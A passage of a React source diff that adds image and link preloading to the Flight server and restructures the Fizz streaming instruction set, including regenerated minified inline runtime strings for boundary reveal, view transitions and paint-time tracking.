+// even if no exports are used.
+import {preload, preloadModule} from './ReactDOMFlightServerHostDispatcher';
 
-// Used to distinguish these contexts from ones used in other renderers.
-// E.g. this can be used to distinguish legacy renderers from this modern one.
-export const isPrimaryRenderer = true;
+import {getCrossOriginString} from '../shared/crossOriginStrings';
 
 // We use zero to represent the absence of an explicit precedence because it is
 // small, smaller than how we encode undefined, and is unambiguous. We could use
@@ -65,3 +63,143 @@ export type Hints = Set<string>;
 export function createHints(): Hints {
   return new Set();
 }
+
+const NO_SCOPE = /*         */ 0b000000;
+const NOSCRIPT_SCOPE = /*   */ 0b000001;
+const PICTURE_SCOPE = /*    */ 0b000010;
+
+export opaque type FormatContext = number;
+
+export function createRootFormatContext(): FormatContext {
+  return NO_SCOPE;
+}
+
+function processImg(props: Object, formatContext: FormatContext): void {
+  // This should mirror the logic of pushImg in ReactFizzConfigDOM.
+  const pictureOrNoScriptTagInScope =
+    formatContext & (PICTURE_SCOPE | NOSCRIPT_SCOPE);
+  const {src, srcSet} = props;
+  if (
+    props.loading !== 'lazy' &&
+    (src || srcSet) &&
+    (typeof src === 'string' || src == null) &&
+    (typeof srcSet === 'string' || srcSet == null) &&
+    props.fetchPriority !== 'low' &&
+    !pictureOrNoScriptTagInScope &&
+    // We exclude data URIs in src and srcSet since these should not be preloaded
+    !(
+      typeof src === 'string' &&
+      src[4] === ':' &&
+      (src[0] === 'd' || src[0] === 'D') &&
+      (src[1] === 'a' || src[1] === 'A') &&
+      (src[2] === 't' || src[2] === 'T') &&
+      (src[3] === 'a' || src[3] === 'A')
+    ) &&
+    !(
+      typeof srcSet === 'string' &&
+      srcSet[4] === ':' &&
+      (srcSet[0] === 'd' || srcSet[0] === 'D') &&
+      (srcSet[1] === 'a' || srcSet[1] === 'A') &&
+      (srcSet[2] === 't' || srcSet[2] === 'T') &&
+      (srcSet[3] === 'a' || srcSet[3] === 'A')
+    )
+  ) {
+    // We have a suspensey image and ought to preload it to optimize the loading of display blocking
+    // resumableState.
+    const sizes = typeof props.sizes === 'string' ? props.sizes : undefined;
+
+    const crossOrigin = getCrossOriginString(props.crossOrigin);
+
+    preload(
+      // The preload() API requires a href but if we have an imageSrcSet then that will take precedence.
+      // We already remove the href anyway in both Fizz and Fiber due to a Safari bug so the empty string
+      // will never actually appear in the DOM.
+      src || '',
+      'image',
+      {
+        imageSrcSet: srcSet,
+        imageSizes: sizes,
+        crossOrigin: crossOrigin,
+        integrity: props.integrity,
+        type: props.type,
+        fetchPriority: props.fetchPriority,
+        referrerPolicy: props.referrerPolicy,
+      },
+    );
+  }
+}
+
+function processLink(props: Object, formatContext: FormatContext): void {
+  const noscriptTagInScope = formatContext & NOSCRIPT_SCOPE;
+  const rel = props.rel;
+  const href = props.href;
+  if (
+    noscriptTagInScope ||
+    props.itemProp != null ||
+    typeof rel !== 'string' ||
+    typeof href !== 'string' ||
+    href === ''
+  ) {
+    // We shouldn't preload resources that are in noscript or have no configuration.
+    return;
+  }
+
+  switch (rel) {
+    case 'preload': {
+      preload(href, props.as, {
+        crossOrigin: props.crossOrigin,
+        integrity: props.integrity,
+        nonce: props.nonce,
+        type: props.type,
+        fetchPriority: props.fetchPriority,
+        referrerPolicy: props.referrerPolicy,
+        imageSrcSet: props.imageSrcSet,
+        imageSizes: props.imageSizes,
+        media: props.media,
+      });
+      return;
+    }
+    case 'modulepreload': {
+      preloadModule(href, {
+        as: props.as,
+        crossOrigin: props.crossOrigin,
+        integrity: props.integrity,
+        nonce: props.nonce,
+      });
+      return;
+    }
+    case 'stylesheet': {
+      preload(href, 'style', {
+        crossOrigin: props.crossOrigin,
+        integrity: props.integrity,
+        nonce: props.nonce,
+        type: props.type,
+        fetchPriority: props.fetchPriority,
+        referrerPolicy: props.referrerPolicy,
+        media: props.media,
+      });
+      return;
+    }
+  }
+}
+
+export function getChildFormatContext(
+  parentContext: FormatContext,
+  type: string,
+  props: Object,
+): FormatContext {
+  switch (type) {
+    case 'img':
+      processImg(props, parentContext);
+      return parentContext;
+    case 'link':
+      processLink(props, parentContext);
+      return parentContext;
+    case 'picture':
+      return parentContext | PICTURE_SCOPE;
+    case 'noscript':
+      return parentContext | NOSCRIPT_SCOPE;
+    default:
+      return parentContext;
+  }
+}
diff --git a/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineClientRenderBoundary.js b/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineClientRenderBoundary.js
index 8cfd59e8d1b6..ca03861c0fd6 100644
--- a/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineClientRenderBoundary.js
+++ b/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineClientRenderBoundary.js
@@ -1,4 +1,4 @@
-import {clientRenderBoundary} from './ReactDOMFizzInstructionSetInlineSource';
+import {clientRenderBoundary} from './ReactDOMFizzInstructionSetShared';
 
 // This is a string so Closure's advanced compilation mode doesn't mangle it.
 // eslint-disable-next-line dot-notation
diff --git a/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineCompleteBoundary.js b/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineCompleteBoundary.js
index 403fe847d988..761a8a18a958 100644
--- a/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineCompleteBoundary.js
+++ b/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineCompleteBoundary.js
@@ -1,5 +1,12 @@
-import {completeBoundary} from './ReactDOMFizzInstructionSetInlineSource';
+import {
+  revealCompletedBoundaries,
+  completeBoundary,
+} from './ReactDOMFizzInstructionSetShared';
 
 // This is a string so Closure's advanced compilation mode doesn't mangle it.
 // eslint-disable-next-line dot-notation
+window['$RB'] = [];
+// eslint-disable-next-line dot-notation
+window['$RV'] = revealCompletedBoundaries;
+// eslint-disable-next-line dot-notation
 window['$RC'] = completeBoundary;
diff --git a/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineCompleteBoundaryUpgradeToViewTransitions.js b/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineCompleteBoundaryUpgradeToViewTransitions.js
new file mode 100644
index 000000000000..e033b9cc9e82
--- /dev/null
+++ b/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineCompleteBoundaryUpgradeToViewTransitions.js
@@ -0,0 +1,10 @@
+import {revealCompletedBoundariesWithViewTransitions} from './ReactDOMFizzInstructionSetShared';
+
+// Upgrade the revealCompletedBoundaries instruction to support ViewTransitions.
+// This is a string so Closure's advanced compilation mode doesn't mangle it.
+// eslint-disable-next-line dot-notation
+window['$RV'] = revealCompletedBoundariesWithViewTransitions.bind(
+  null,
+  // eslint-disable-next-line dot-notation
+  window['$RV'],
+);
diff --git a/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineCompleteBoundaryWithStyles.js b/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineCompleteBoundaryWithStyles.js
index e3ffd1f58403..cd015f462340 100644
--- a/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineCompleteBoundaryWithStyles.js
+++ b/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineCompleteBoundaryWithStyles.js
@@ -1,4 +1,4 @@
-import {completeBoundaryWithStyles} from './ReactDOMFizzInstructionSetInlineSource';
+import {completeBoundaryWithStyles} from './ReactDOMFizzInstructionSetShared';
 
 // This is a string so Closure's advanced compilation mode doesn't mangle it.
 // eslint-disable-next-line dot-notation
diff --git a/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineCompleteSegment.js b/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineCompleteSegment.js
index d3dbd9eb50e9..29e2a355a224 100644
--- a/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineCompleteSegment.js
+++ b/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineCompleteSegment.js
@@ -1,4 +1,4 @@
-import {completeSegment} from './ReactDOMFizzInstructionSetInlineSource';
+import {completeSegment} from './ReactDOMFizzInstructionSetShared';
 
 // This is a string so Closure's advanced compilation mode doesn't mangle it.
 // eslint-disable-next-line dot-notation
diff --git a/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineShellTime.js b/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineShellTime.js
new file mode 100644
index 000000000000..9e52a25aa7a5
--- /dev/null
+++ b/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInlineShellTime.js
@@ -0,0 +1,5 @@
+// Track the paint time of the shell
+requestAnimationFrame(() => {
+  // eslint-disable-next-line dot-notation
+  window['$RT'] = performance.now();
+});
diff --git a/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInstructionSetExternalRuntime.js b/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInstructionSetExternalRuntime.js
index 5e632aa36d48..ce503f815d16 100644
--- a/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInstructionSetExternalRuntime.js
+++ b/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInstructionSetExternalRuntime.js
@@ -5,138 +5,40 @@
 import {
   clientRenderBoundary,
   completeBoundary,
+  completeBoundaryWithStyles,
   completeSegment,
   listenToFormSubmissionsForReplaying,
+  revealCompletedBoundaries,
+  revealCompletedBoundariesWithViewTransitions,
 } from './ReactDOMFizzInstructionSetShared';
 
-export {clientRenderBoundary, completeBoundary, completeSegment};
+// This is a string so Closure's advanced compilation mode doesn't mangle it.
+// These will be renamed to local references by the external-runtime-plugin.
+window['$RM'] = new Map();
+window['$RB'] = [];
+window['$RX'] = clientRenderBoundary;
+window['$RV'] = revealCompletedBoundariesWithViewTransitions.bind(
+  null,
+  revealCompletedBoundaries,
+);
+window['$RC'] = completeBoundary;
+window['$RR'] = completeBoundaryWithStyles;
+window['$RS'] = completeSegment;
 
-const resourceMap = new Map();
-
-// This function is almost identical to the version used by inline scripts
-// (ReactDOMFizzInstructionSetInlineSource), with the exception of how we read
-// completeBoundary and resourceMap
-export function completeBoundaryWithStyles(
-  suspenseBoundaryID,
-  contentID,
-  stylesheetDescriptors,
-) {
-  const precedences = new Map();
-  const thisDocument = document;
-  let lastResource, node;
-
-  // Seed the precedence list with existing resources and collect hoistable style tags
-  const nodes = thisDocument.querySelectorAll(
-    'link[data-precedence],style[data-precedence]',
-  );
-  const styleTagsToHoist = [];
-  for (let i = 0; (node = nodes[i++]); ) {
-    if (node.getAttribute('media') === 'not all') {
-      styleTagsToHoist.push(node);
-    } else {
-      if (node.tagName === 'LINK') {
-        resourceMap.set(node.getAttribute('href'), node);
-      }
-      precedences.set(node.dataset['precedence'], (lastResource = node));
-    }
-  }
-
-  let i = 0;
-  const dependencies = [];
-  let href, precedence, attr, loadingState, resourceEl, media;
-
-  function cleanupWith(cb) {
-    this['_p'] = null;
-    cb();
-  }
-
-  // Sheets Mode
-  let sheetMode = true;
-  while (true) {
-    if (sheetMode) {
-      // Sheet Mode iterates over the stylesheet arguments and constructs them if new or checks them for
-      // dependency if they already existed
-      const stylesheetDescriptor = stylesheetDescriptors[i++];
-      if (!stylesheetDescriptor) {
-        // enter <style> Mode
-        sheetMode = false;
-        i = 0;
-        continue;
-      }
-
-      let avoidInsert = false;
-      let j = 0;
-      href = stylesheetDescriptor[j++];
-
-      if ((resourceEl = resourceMap.get(href))) {
-        // We have an already inserted stylesheet.
-        loadingState = resourceEl['_p'];
-        avoidInsert = true;
-      } else {
-        // We haven't already processed this href so we need to construct a stylesheet and hoist it
-        // We construct it here and attach a loadingState. We also check whether it matches
-        // media before we include it in the dependency array.
-        resourceEl = thisDocument.createElement('link');
-        resourceEl.href = href;
-        resourceEl.rel = 'stylesheet';
-        resourceEl.dataset['precedence'] = precedence =
-          stylesheetDescriptor[j++];
-        while ((attr = stylesheetDescriptor[j++])) {
-          resourceEl.setAttribute(attr, stylesheetDescriptor[j++]);
-        }
-        loadingState = resourceEl['_p'] = new Promise((resolve, reject) => {
-          resourceEl.onload = cleanupWith.bind(resourceEl, resolve);
-          resourceEl.onerror = cleanupWith.bind(resourceEl, reject);
-        });
-        // Save this resource element so we can bailout if it is used again
-        resourceMap.set(href, resourceEl);
-      }
-      media = resourceEl.getAttribute('media');
-      if (loadingState && (!media || window['matchMedia'](media).matches)) {
-        dependencies.push(loadingState);
-      }
-      if (avoidInsert) {
-        // We have a link that is already in the document. We don't want to fall through to the insert path
-        continue;
-      }
-    } else {
-      // <style> mode iterates over not-yet-hoisted <style> tags with data-precedence and hoists them.
-      resourceEl = styleTagsToHoist[i++];
-      if (!resourceEl) {
-        // we are done with all style tags
-        break;
-      }
-
-      precedence = resourceEl.getAttribute('data-precedence');
-      resourceEl.removeAttribute('media');
-    }
-
-    // resourceEl is either a newly constructed <link rel="stylesheet" ...> or a <style> tag requiring hoisting
-    const prior = precedences.get(precedence) || lastResource;
-    if (prior === lastResource) {
-      lastResource = resourceEl;
-    }
-    precedences.set(precedence, resourceEl);
-
-    // Finally, we insert the newly constructed instance at an appropriate location
-    // in the Document.
-    if (prior) {
-      prior.parentNode.insertBefore(resourceEl, prior.nextSibling);
-    } else {
-      const head = thisDocument.head;
-      head.insertBefore(resourceEl, head.firstChild);
-    }
-  }
+listenToFormSubmissionsForReplaying();
 
-  Promise.all(dependencies).then(
-    completeBoundary.bind(null, suspenseBoundaryID, contentID, ''),
-    completeBoundary.bind(
-      null,
-      suspenseBoundaryID,
-      contentID,
-      'Resource failed to load',
-    ),
-  );
+// Track the paint time of the shell.
+const entries = performance.getEntriesByType
+  ? performance.getEntriesByType('paint')
+  : [];
+if (entries.length > 0) {
+  // We might have already painted before this external runtime loaded. In that case we
+  // try to get the first paint from the performance metrics to avoid delaying further
+  // than necessary.
+  window['$RT'] = entries[0].startTime;
+} else {
+  // Otherwise we wait for the next rAF for it.
+  requestAnimationFrame(() => {
+    window['$RT'] = performance.now();
+  });
 }
-
-listenToFormSubmissionsForReplaying();
diff --git a/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInstructionSetInlineCodeStrings.js b/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInstructionSetInlineCodeStrings.js
index 6e47c3b0658e..eca449bc7366 100644
--- a/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInstructionSetInlineCodeStrings.js
+++ b/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInstructionSetInlineCodeStrings.js
@@ -1,13 +1,17 @@
 // This is a generated file. The source files are in react-dom-bindings/src/server/fizz-instruction-set.
 // The build script is at scripts/rollup/generate-inline-fizz-runtime.js.
 // Run `yarn generate-inline-fizz-runtime` to generate.
+export const markShellTime =
+  'requestAnimationFrame(function(){$RT=performance.now()});';
 export const clientRenderBoundary =
   '$RX=function(b,c,d,e,f){var a=document.getElementById(b);a&&(b=a.previousSibling,b.data="$!",a=a.dataset,c&&(a.dgst=c),d&&(a.msg=d),e&&(a.stck=e),f&&(a.cstck=f),b._reactRetry&&b._reactRetry())};';
 export const completeBoundary =
-  '$RC=function(b,c,e){c=document.getElementById(c);c.parentNode.removeChild(c);var a=document.getElementById(b);if(a){b=a.previousSibling;if(e)b.data="$!",a.setAttribute("data-dgst",e);else{e=b.parentNode;a=b.nextSibling;var f=0;do{if(a&&8===a.nodeType){var d=a.data;if("/$"===d)if(0===f)break;else f--;else"$"!==d&&"$?"!==d&&"$!"!==d||f++}d=a.nextSibling;e.removeChild(a);a=d}while(a);for(;c.firstChild;)e.insertBefore(c.firstChild,a);b.data="$"}b._reactRetry&&b._reactRetry()}};';
+  '$RB=[];$RV=function(a){$RT=performance.now();for(var b=0;b<a.length;b+=2){var c=a[b],e=a[b+1];null!==e.parentNode&&e.parentNode.removeChild(e);var f=c.parentNode;if(f){var g=c.previousSibling,h=0;do{if(c&&8===c.nodeType){var d=c.data;if("/$"===d||"/&"===d)if(0===h)break;else h--;else"$"!==d&&"$?"!==d&&"$~"!==d&&"$!"!==d&&"&"!==d||h++}d=c.nextSibling;f.removeChild(c);c=d}while(c);for(;e.firstChild;)f.insertBefore(e.firstChild,c);g.data="$";g._reactRetry&&requestAnimationFrame(g._reactRetry)}}a.length=0};\n$RC=function(a,b){if(b=document.getElementById(b))(a=document.getElementById(a))?(a.previousSibling.data="$~",$RB.push(a,b),2===$RB.length&&("number"!==typeof $RT?requestAnimationFrame($RV.bind(null,$RB)):(a=performance.now(),setTimeout($RV.bind(null,$RB),2300>a&&2E3<a?2300-a:$RT+300-a)))):b.parentNode.removeChild(b)};';
+export const completeBoundaryUpgradeToViewTransitions =
+  '$RV=function(A,g){function k(a,b){var e=a.getAttribute(b);e&&(b=a.style,l.push(a,b.viewTransitionName,b.viewTransitionClass),"auto"!==e&&(b.viewTransitionClass=e),(a=a.getAttribute("vt-name"))||(a="_T_"+K++ +"_"),a=CSS.escape(a)!==a?"r-"+btoa(a).replace(/=/g,""):a,b.viewTransitionName=a,B=!0)}var B=!1,K=0,l=[];try{var f=document.__reactViewTransition;if(f){f.finished.finally($RV.bind(null,g));return}var m=new Map;for(f=1;f<g.length;f+=2)for(var h=g[f].querySelectorAll("[vt-share]"),d=0;d<h.length;d++){var c=h[d];m.set(c.getAttribute("vt-name"),c)}var u=[];for(h=0;h<g.length;h+=2){var C=g[h],x=C.parentNode;if(x){var v=x.getBoundingClientRect();if(v.left||v.top||v.width||v.height){c=C;for(f=0;c;){if(8===c.nodeType){var r=c.data;if("/$"===r)if(0===f)break;else f--;else"$"!==r&&"$?"!==r&&"$~"!==r&&"$!"!==r||f++}else if(1===c.nodeType){d=c;var D=d.getAttribute("vt-name"),y=m.get(D);k(d,y?"vt-share":"vt-exit");y&&(k(y,"vt-share"),m.set(D,null));var E=d.querySelectorAll("[vt-share]");\nfor(d=0;d<E.length;d++){var F=E[d],G=F.getAttribute("vt-name"),H=m.get(G);H&&(k(F,"vt-share"),k(H,"vt-share"),m.set(G,null))}}c=c.nextSibling}for(var I=g[h+1],t=I.firstElementChild;t;)null!==m.get(t.getAttribute("vt-name"))&&k(t,"vt-enter"),t=t.nextElementSibling;c=x;do for(var n=c.firstElementChild;n;){var J=n.getAttribute("vt-update");J&&"none"!==J&&!l.includes(n)&&k(n,"vt-update");n=n.nextElementSibling}while((c=c.parentNode)&&1===c.nodeType&&"none"!==c.getAttribute("vt-update"));u.push.apply(u,\nI.querySelectorAll(\'img[src]:not([loading="lazy"])\'))}}}if(B){var z=document.__reactViewTransition=document.startViewTransition({update:function(){A(g);for(var a=[document.documentElement.clientHeight,document.fonts.ready],b={},e=0;e<u.length;b={g:b.g},e++)if(b.g=u[e],!b.g.complete){var p=b.g.getBoundingClientRect();0<p.bottom&&0<p.right&&p.top<window.innerHeight&&p.left<window.innerWidth&&(p=new Promise(function(w){return function(q){w.g.addEventListener("load",q);w.g.addEventListener("error",q)}}(b)),\na.push(p))}return Promise.race([Promise.all(a),new Promise(function(w){var q=performance.now();setTimeout(w,2300>q&&2E3<q?2300-q:500)})])},types:[]});z.ready.finally(function(){for(var a=l.length-3;0<=a;a-=3){var b=l[a],e=b.style;e.viewTransitionName=l[a+1];e.viewTransitionClass=l[a+1];""===b.getAttribute("style")&&b.removeAttribute("style")}});z.finished.finally(function(){document.__reactViewTransition===z&&(document.__reactViewTransition=null)});$RB=[];return}}catch(a){}A(g)}.bind(null,\n$RV);';
 export const completeBoundaryWithStyles =
-  '$RM=new Map;\n$RR=function(t,u,y){function v(n){this._p=null;n()}for(var w=$RC,p=$RM,q=new Map,r=document,g,b,h=r.querySelectorAll("link[data-precedence],style[data-precedence]"),x=[],k=0;b=h[k++];)"not all"===b.getAttribute("media")?x.push(b):("LINK"===b.tagName&&p.set(b.getAttribute("href"),b),q.set(b.dataset.precedence,g=b));b=0;h=[];var l,a;for(k=!0;;){if(k){var e=y[b++];if(!e){k=!1;b=0;continue}var c=!1,m=0;var d=e[m++];if(a=p.get(d)){var f=a._p;c=!0}else{a=r.createElement("link");a.href=\nd;a.rel="stylesheet";for(a.dataset.precedence=l=e[m++];f=e[m++];)a.setAttribute(f,e[m++]);f=a._p=new Promise(function(n,z){a.onload=v.bind(a,n);a.onerror=v.bind(a,z)});p.set(d,a)}d=a.getAttribute("media");!f||d&&!matchMedia(d).matches||h.push(f);if(c)continue}else{a=x[b++];if(!a)break;l=a.getAttribute("data-precedence");a.removeAttribute("media")}c=q.get(l)||g;c===g&&(g=a);q.set(l,a);c?c.parentNode.insertBefore(a,c.nextSibling):(c=r.head,c.insertBefore(a,c.firstChild))}Promise.all(h).then(w.bind(null,\nt,u,""),w.bind(null,t,u,"Resource failed to load"))};';
+  '$RM=new Map;$RR=function(n,w,p){function u(q){this._p=null;q()}for(var r=new Map,t=document,h,b,e=t.querySelectorAll("link[data-precedence],style[data-precedence]"),v=[],k=0;b=e[k++];)"not all"===b.getAttribute("media")?v.push(b):("LINK"===b.tagName&&$RM.set(b.getAttribute("href"),b),r.set(b.dataset.precedence,h=b));e=0;b=[];var l,a;for(k=!0;;){if(k){var f=p[e++];if(!f){k=!1;e=0;continue}var c=!1,m=0;var d=f[m++];if(a=$RM.get(d)){var g=a._p;c=!0}else{a=t.createElement("link");a.href=d;a.rel=\n"stylesheet";for(a.dataset.precedence=l=f[m++];g=f[m++];)a.setAttribute(g,f[m++]);g=a._p=new Promise(function(q,x){a.onload=u.bind(a,q);a.onerror=u.bind(a,x)});$RM.set(d,a)}d=a.getAttribute("media");!g||d&&!matchMedia(d).matches||b.push(g);if(c)continue}else{a=v[e++];if(!a)break;l=a.getAttribute("data-precedence");a.removeAttribute("media")}c=r.get(l)||h;c===h&&(h=a);r.set(l,a);c?c.parentNode.insertBefore(a,c.nextSibling):(c=t.head,c.insertBefore(a,c.firstChild))}if(p=document.getElementById(n))p.previousSibling.data=\n"$~";Promise.all(b).then($RC.bind(null,n,w),$RX.bind(null,n,"CSS failed to load"))};';
 export const completeSegment =
   '$RS=function(a,b){a=document.getElementById(a);b=document.getElementById(b);for(a.parentNode.removeChild(a);a.firstChild;)b.parentNode.insertBefore(a.firstChild,b);b.parentNode.removeChild(b)};';
 export const formReplaying =
-  'addEventListener("submit",function(a){if(!a.defaultPrevented){var c=a.target,d=a.submitter,e=c.action,b=d;if(d){var f=d.getAttribute("formAction");null!=f&&(e=f,b=null)}"javascript:throw new Error(\'React form unexpectedly submitted.\')"===e&&(a.preventDefault(),b?(a=document.createElement("input"),a.name=b.name,a.value=b.value,b.parentNode.insertBefore(a,b),b=new FormData(c),a.parentNode.removeChild(a)):b=new FormData(c),a=c.ownerDocument||c,(a.$$reactFormReplay=a.$$reactFormReplay||[]).push(c,d,b))}});';
+  'addEventListener("submit",function(a){if(!a.defaultPrevented){var b=a.target,d=a.submitter,c=b.action,e=d;if(d){var f=d.getAttribute("formAction");null!=f&&(c=f,e=null)}"javascript:throw new Error(\'React form unexpectedly submitted.\')"===c&&(a.preventDefault(),a=new FormData(b,e),c=b.ownerDocument||b,(c.$$reactFormReplay=c.$$reactFormReplay||[]).push(b,d,a))}});';
diff --git a/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInstructionSetInlineSource.js b/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInstructionSetInlineSource.js
deleted file mode 100644
index abf17903e3e8..000000000000
--- a/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInstructionSetInlineSource.js
+++ /dev/null
@@ -1,142 +0,0 @@
-/* eslint-disable dot-notation */
-
-// Instruction set for Fizz inline scripts.
-// DO NOT DIRECTLY IMPORT THIS FILE. This is the source for the compiled and
-// minified code in ReactDOMFizzInstructionSetInlineCodeStrings.
-
-import {
-  clientRenderBoundary,
-  completeBoundary,
-  completeSegment,
-} from './ReactDOMFizzInstructionSetShared';
-
-export {clientRenderBoundary, completeBoundary, completeSegment};
-
-// This function is almost identical to the version used by the external
-// runtime (ReactDOMFizzInstructionSetExternalRuntime), with the exception of
-// how we read completeBoundaryImpl and resourceMap
-export function completeBoundaryWithStyles(
-  suspenseBoundaryID,
-  contentID,
-  stylesheetDescriptors,
-) {
-  const completeBoundaryImpl = window['$RC'];
-  const resourceMap = window['$RM'];
-
-  const precedences = new Map();
-  const thisDocument = document;
-  let lastResource, node;
-
-  // Seed the precedence list with existing resources and collect hoistable style tags
-  const nodes = thisDocument.querySelectorAll(
-    'link[data-precedence],style[data-precedence]',
-  );
-  const styleTagsToHoist = [];
-  for (let i = 0; (node = nodes[i++]); ) {
-    if (node.getAttribute('media') === 'not all') {
-      styleTagsToHoist.push(node);
-    } else {
-      if (node.tagName === 'LINK') {
-        resourceMap.set(node.getAttribute('href'), node);
-      }
-      precedences.set(node.dataset['precedence'], (lastResource = node));
-    }
-  }
-
-  let i = 0;
-  const dependencies = [];
-  let href, precedence, attr, loadingState, resourceEl, media;
-
-  function cleanupWith(cb) {
-    this['_p'] = null;
-    cb();
-  }
-
-  // Sheets Mode
-  let sheetMode = true;
-  while (true) {
-    if (sheetMode) {
-      // Sheet Mode iterates over the stylesheet arguments and constructs them if new or checks them for
-      // dependency if they already existed
-      const stylesheetDescriptor = stylesheetDescriptors[i++];
-      if (!stylesheetDescriptor) {
-        // enter <style> Mode
-        sheetMode = false;
-        i = 0;
-        continue;
-      }
-
-      let avoidInsert = false;
-      let j = 0;
-      href = stylesheetDescriptor[j++];
-
-      if ((resourceEl = resourceMap.get(href))) {
-        // We have an already inserted stylesheet.
-        loadingState = resourceEl['_p'];
-        avoidInsert = true;
-      } else {
-        // We haven't already processed this href so we need to construct a stylesheet and hoist it
-        // We construct it here and attach a loadingState. We also check whether it matches
-        // media before we include it in the dependency array.
-        resourceEl = thisDocument.createElement('link');
-        resourceEl.href = href;
-        resourceEl.rel = 'stylesheet';
-        resourceEl.dataset['precedence'] = precedence =
-          stylesheetDescriptor[j++];
-        while ((attr = stylesheetDescriptor[j++])) {
-          resourceEl.setAttribute(attr, stylesheetDescriptor[j++]);
-        }
-        loadingState = resourceEl['_p'] = new Promise((resolve, reject) => {
-          resourceEl.onload = cleanupWith.bind(resourceEl, resolve);
-          resourceEl.onerror = cleanupWith.bind(resourceEl, reject);
-        });
-        // Save this resource element so we can bailout if it is used again
-        resourceMap.set(href, resourceEl);
-      }
-      media = resourceEl.getAttribute('media');
-      if (loadingState && (!media || window['matchMedia'](media).matches)) {
-        dependencies.push(loadingState);
-      }
-      if (avoidInsert) {
-        // We have a link that is already in the document. We don't want to fall through to the insert path
-        continue;
-      }
-    } else {
-      // <style> mode iterates over not-yet-hoisted <style> tags with data-precedence and hoists them.
-      resourceEl = styleTagsToHoist[i++];
-      if (!resourceEl) {
-        // we are done with all style tags
-        break;
-      }
-
-      precedence = resourceEl.getAttribute('data-precedence');
-      resourceEl.removeAttribute('media');
-    }
-
-    // resourceEl is either a newly constructed <link rel="stylesheet" ...> or a <style> tag requiring hoisting
-    const prior = precedences.get(precedence) || lastResource;
-    if (prior === lastResource) {
-      lastResource = resourceEl;
-    }
-    precedences.set(precedence, resourceEl);
-
-    // Finally, we insert the newly constructed instance at an appropriate location
-    // in the Document.
-    if (prior) {
-      prior.parentNode.insertBefore(resourceEl, prior.nextSibling);
-    } else {
-      const head = thisDocument.head;
-      head.insertBefore(resourceEl, head.firstChild);
-    }
-  }
-
-  Promise.all(dependencies).then(
-    completeBoundaryImpl.bind(null, suspenseBoundaryID, contentID, ''),
-    completeBoundaryImpl.bind(
-      null,
-      suspenseBoundaryID,
-      contentID,
-      'Resource failed to load',
-    ),
-  );
-}
diff --git a/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInstructionSetShared.js b/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInstructionSetShared.js
index f9139094aa9b..86d8801b4203 100644
--- a/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInstructionSetShared.js
+++ b/packages/react-dom-bindings/src/server/fizz-instruction-set/ReactDOMFizzInstructionSetShared.js
@@ -3,11 +3,25 @@
 // Shared implementation and constants between the inline script and external
 // runtime instruction sets.
 
-export const COMMENT_NODE = 8;
-export const SUSPENSE_START_DATA = '$';
-export const SUSPENSE_END_DATA = '/$';
-export const SUSPENSE_PENDING_START_DATA = '$?';
-export const SUSPENSE_FALLBACK_START_DATA = '$!';
+const ELEMENT_NODE = 1;
+const COMMENT_NODE = 8;
+const ACTIVITY_START_DATA = '&';
+const ACTIVITY_END_DATA = '/&';
+const SUSPENSE_START_DATA = '$';
+const SUSPENSE_END_DATA = '/$';
+const SUSPENSE_PENDING_START_DATA = '$?';
+const SUSPENSE_QUEUED_START_DATA = '$~';
+const SUSPENSE_FALLBACK_START_DATA = '$!';
+
+const FALLBACK_THROTTLE_MS = 300;
+
+const SUSPENSEY_FONT_AND_IMAGE_TIMEOUT = 500;
+
+// If you have a target goal in mind for a metric to hit, you don't want the
+// only reason you miss it by a little bit to be throttling heuristics.
+// This tries to avoid throttling if avoiding it would let you hit this metric.
+// This is derived from trying to hit an LCP of 2.5 seconds with some head room.
+const TARGET_VANITY_METRIC = 2300;
 
 // TODO: Symbols that are referenced outside this module use dynamic accessor
 // notation instead of dot notation to prevent Closure's advanced compilation
@@ -15,6 +29,340 @@ export const SUSPENSE_FALLBACK_START_DATA = '$!';
 // working. Closure converts it to a dot access anyway, though, so it's not an
 // urgent issue.
 
+export function revealCompletedBoundaries(batch) {
+  window['$RT'] = performance.now();
+  for (let i = 0; i < batch.length; i += 2) {
+    const suspenseIdNode = batch[i];
